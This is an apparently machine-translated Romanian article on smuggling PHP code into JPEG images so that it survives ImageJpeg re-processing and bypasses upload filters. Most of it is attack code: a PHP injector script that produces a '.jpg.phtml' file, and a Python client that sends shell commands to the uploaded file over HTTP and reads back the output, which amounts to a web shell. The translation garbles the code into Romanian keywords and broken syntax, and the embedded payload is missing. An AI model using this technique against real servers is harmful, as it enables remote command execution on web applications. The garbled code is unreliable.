Ascunderea codului php în imagini

Ascunderea codului php în imagini

Acum ceva timp am prins o privire asupra unui subiect dedicat descărcării de fișiere folosind PHP. În acest subiect, oamenii au discutat pașii care trebuie luați pentru a proteja serverul de fișierele rău intenționate.







Acum ceva timp am prins o privire asupra unui subiect dedicat descărcării fișierelor folosind PHP. În acest subiect, oamenii au discutat pașii care trebuie luați pentru a proteja serverul de fișierele rău intenționate. În special, a fost sugerat să se permită descărcarea numai a anumitor tipuri de fișiere, procesarea fișierelor deja descărcate și așa mai departe.

În timpul discuției următoarele măsuri de securitate au fost concepute: pentru a interzice descărcarea fișierelor legate de php-script-uri, și apoi utilizați ImageJpeg (PHP a funcției de procesare a imaginii) pentru a efectua verificarea imaginilor descărcate. Ca dezvoltator, acest complex de măsuri este destul de plăcut pentru mine. Dacă fișierul nu se potrivește cu formatul imaginii, ImageJpeg va reveni false și descărcarea va fi anulată. Pe de altă parte, chiar și în cazul în care un atacator poate injecta cod într-o imagine, imaginea înainte de ao salva pe disc și vor fi procesate și modificate ImageJpeg funcție.

Utilizarea numai a metodei "lista neagră" nu este o idee foarte bună, deoarece fișierele executabile pot avea o extensie alternativă. În exemplul de mai sus, dacă vom încerca să interzică descărcarea fișierelor numai cu php extensie, trebuie remarcat faptul că, în limbajul PHP într-un script executabil poate fi una dintre următoarele cinci extensii: php3. PHP4. PHP5. phtml și .phps.

După multe experimente, am reușit să obțin imaginea procesată cu un cod de lucru înăuntru.

Ascunderea codului php în imagini

În procesul de îmbunătățire a metodei codului de injecție, asigurându-vă că imaginea nu este distorsionată, am scris un script care adaugă automat codul imaginii. După testarea scriptului și procesarea imaginii încărcate cu diverse utilități (inclusiv funcția ImageJpeg), codul a rămas funcțional. Au existat chiar teste pentru a schimba dimensiunea imaginii și, în multe cazuri, codul a funcționat (dar nu întotdeauna).

Mai jos este imaginea înainte de codul de injectare:

Ascunderea codului php în imagini

Următoarea imagine (gradul de distorsiune depinde de imaginea particulară) deja cu codul injectat. Nu vă faceți griji, codul nu va fi executat în starea actuală.

Ascunderea codului php în imagini

Mai jos este un script care automatizează procesul de adăugare a codului:

ini_set ('display_errors', 0);
error_reporting (0);

// Fișier care conține rezultatul finalizat pentru a fi încărcat
$ rezultat_file = 'pic.jpg.phtml';

// Fișier original de intrare
$ orig = 'test.jpg';

// nume fișier Temp
$ filename = $ orig. '_mod.jpg';

// Codul care trebuie ascuns în datele imaginii






$ code = '';

echo "- = injector Imagejpeg 1.6 = - \ n";

$ src = imagecreatefromjpeg ($ orig);
imagejpeg ($ src, $ nume fișier, 100);
$ data = file_get_contents (nume fișier $);
$ tmpData = array ();

echo "[+] Sari la octetul final \ n";
$ start_byte = findStart ($ date);

echo "[+] Căutarea punctului de injectare valabil \ n";
pentru ($ i = strlen ($ date) -1; $ i> $ start_byte; - $ i)
<
$ tmpData = $ date;
pentru ($ n = $ i, $ z = (strlen ($ code) -1), $ z> = 0; - $ z, - $ n)
<
$ tmpData [$ n] = $ cod [$ z];
>

$ src = imagecreatefromstring ($ tmpData);
imagejpeg ($ src, $ rezultat_file, 100);

dacă (checkCodeInFile ($ result_file, $ code))
<
deconectați (numele fișierului $);
deconectați ($ result_file);
somn (1);

file_put_contents ($ rezultat_file, $ tmpData);
echo "[!] soluție Temp, dacă obțineți o eroare" recuperabilă "aici, aceasta înseamnă că probabil nu a reușit \ n";

somn (1);
$ src = imaginecreatefromjpeg ($ rezultat_file);

echo "[+] Injecția a fost terminată cu succes \ n";
echo "[+] Numele fișierului:". $ result_file. "\ n";
die ();
>
altfel
<
deconectați ($ result_file);
>
>

echo "[-] Nu se poate găsi punctul de injectare valid. Încercați o comandă mai scurtă sau o altă imagine \ n";

funcția checkCodeInFile ($ file, $ code)
<
dacă (file_exists ($ file))
<
$ contents = loadFile (fișier $);
>
altfel
<
$ conținut = "0";
>

retur strstr ($ conținut, $ cod);
>

funcția loadFile ($ file)
<
$ handle = fopen (fișier $, "r");
$ buffer = fread ($ mâner, file size (fișier $));
fclose ($ mâner);

Rezumă. După câteva zile de experimente, am reușit să ocol protecția scriptului și să automatizez procesul (pașii scriptului sunt arătați mai jos):

[+] Sare la sfârșitul byte
[+] Căutarea punctului de injectare valid
[+] Injecția a fost terminată cu succes
[+] Numele fișierului: result.phtml

Și în cele din urmă am scris un script simplu pentru trimiterea de comenzi la fișier după încărcarea pe server, parsarea informațiilor din interiorul imaginii și afișarea rezultatelor.

import urllib.request
argarse de import
importați http.client
import urllib.parse
import re

def principal ():
parser = argparse.ArgumentParser ()
parser.add_argument ("domeniu", ajutor = "domeniu la care se conectează")
parser.add_argument ("port", ajutor = "port pentru conectare la")
parser.add_argument ("cale", help = "calea spre fișierul jellyshelly")
args = parser.parse_args ()
domeniu = args.domeniu
cale = args.path
port = args.port

dacă (makeTest (domeniu, cale, port)):
cmd = ""
print ("Introduceți ieșirea pentru a încheia sesiunea")
în timp ce (cmd! = "ieșire"):
cmd = intrare ("")

dacă (cmd.strip ()! = ''):
makeRequest ( "echo" foiwe303t43jd $ ( "+ Cmd +") foiwe303t43jd "", domeniu, port, cale)

def makeRequest (cmd, domeniu, port, cale):
linii = cmd.split ('\ n')

httpServ = http.client.HTTPConnection (domeniu, port)
httpServ.connect ()

httpServ.request ('POST', cale, paramuri, anteturi)
răspuns = httpServ.getresponse ()
răspuns_string = answer.read () decode ("utf-8", "replace")

dacă answer.status == http.client.OK:
pentru a rezulta în re.findall (r '(?<=foiwe303t43jd).*?(?=foiwe303t43jd)', response_string, re.DOTALL):
print (result.strip ())
httpServ.close ()

def makeTest (domeniu, cale, port):
httpServ = http.client.HTTPConnection (domeniu, port)
httpServ.connect ()
httpServ.request ('GET', cale)
răspuns = httpServ.getresponse ()

print (răspuns.status)
retur răspuns.status == http.client.OK

dacă __name__ == "__main__":
main ()

După cum puteți vedea, încărcătorul de fișiere devine cu ușurință o legătură slabă în sistemul de securitate. Există multe modalități de încărcare a unui fișier prin toate restricțiile. Un atacator special motivat poate petrece mult timp și va găsi adesea o modalitate de a ocoli mecanismele defensive. Trucul prezentat în articol este aplicabil nu numai pentru PHP, ci și pentru alte medii. Desigur, există câteva metode bune, în funcție de sarcina specifică, dar aceste metode nu sunt 100% sigure. În plus, dezvoltatorul în procesul de punere în aplicare a mecanismelor de protecție poate împiedica greșeala elementară (un caz clasic de: verificare pentru extensia .jpg trece fișiere de tip file.jpg.php).

Oricine utilizează liste negre pentru blocarea fișierelor ar trebui să adauge următoarele extensii. php, .phtml, .php4, .php4, .php5. Și nu uitați că într-o zi PHP 6 va apărea.

  • Ascunderea codului php în imagini
  • Ascunderea codului php în imagini
  • Ascunderea codului php în imagini
  • Ascunderea codului php în imagini







Trimiteți-le prietenilor: